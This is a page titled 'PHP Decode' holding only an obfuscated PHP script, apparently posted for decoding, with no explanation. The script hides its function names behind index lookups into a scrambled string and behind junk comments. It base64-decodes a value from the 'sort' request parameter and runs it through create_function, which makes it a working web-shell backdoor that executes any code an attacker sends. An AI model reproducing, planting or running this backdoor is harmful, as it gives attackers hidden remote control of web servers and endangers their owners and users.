PHP Decode

<?php  
 
 
 
 
 
$XoDOJJHr9983 = "3nhp5oc96z70yi4awt8*2ekv1x;mgd.j(/srq_)bluf"; 
 
 
$uMJfNpUL1231 = ""; 
 
foreach([34,5,35,17] as $b){ 
       $uMJfNpUL1231 .= $XoDOJJHr9983[$b]; 
    } 
 
 
if(isset($_REQUEST /*jSuJXpsddYlqzAKOJZZpHZRkPHxsiABeiKqnPPBkAVtMpFEnFatDvKxbjNcyUPSnaVhlzJEKRlvCYesfuvGkcOWlwnAXAydPMAQCeXADbUqLBXZqcjMlElpODgSQaAhK*/["$uMJfNpUL1231"])){ 
    $rytnCEpR5932 = $_REQUEST /*jSuJXpsddYlqzAKOJZZpHZRkPHxsiABeiKqnPPBkAVtMpFEnFatDvKxbjNcyUPSnaVhlzJEKRlvCYesfuvGkcOWlwnAXAydPMAQCeXADbUqLBXZqcjMlElpODgSQaAhK*/["$uMJfNpUL1231"]; 
    $FtcmynEU6320 = ""; 
    $VNbIFwDJ5244 = ""; 
 
    /*MGYcBLEtddtWeZQPQrTEYxbuNknOUUaTGunmGbyZiIFLVHiBgPeYAxSkozwNimpNtBuQGLlZgILUGJuFqGjMWRCtJizfpXxcZcvNyPSsYbLwkezdtQgTmEgWYlvRqczK*/ 
 
    foreach([39,15,34,21,8,14,37,29,21,6,5,29,21] as $b){ 
       $FtcmynEU6320 .= $XoDOJJHr9983[$b]; 
    } 
 
    /*zXqekmsfJNEsHTyVqvYuuLDTgHlXkBvLSleOQcMloTqHYbqggsJoxlTjixUwYtkgfSMSpmZLMsWpjDcLQKnBtfeSdGxoFESUmTnpIPgEelwsnyHJtuLiishVRiTAgjuc*/ 
 
 
    foreach([34,17,35,35,21,23] as $b){ 
       $VNbIFwDJ5244 .= $XoDOJJHr9983[$b]; 
    } 
 
    /*moIgUMhRqxPNkNgaQzdjRYeszejgAiQEfbWqZdaxudcDbvyMgWnDtZVibuseOAfySjeUZMOxtciLMxKQqOsqPsFrwdvxVmnNzKfSRQvQlvhnqSPotYqyffjULgsjWrpv*/ 
 
    $b = $VNbIFwDJ5244('n'.''.'o'.''.''.'i'.'t'.'c'.'n'.''.''.'u'.'f'.'_'.'e'.'t'.''.''.''.'a'.'e'.'r'.'c'); 
    $f = $b("", $FtcmynEU6320($rytnCEpR5932)); 
    $f(); 
    exit(); 
 
} 
 ?>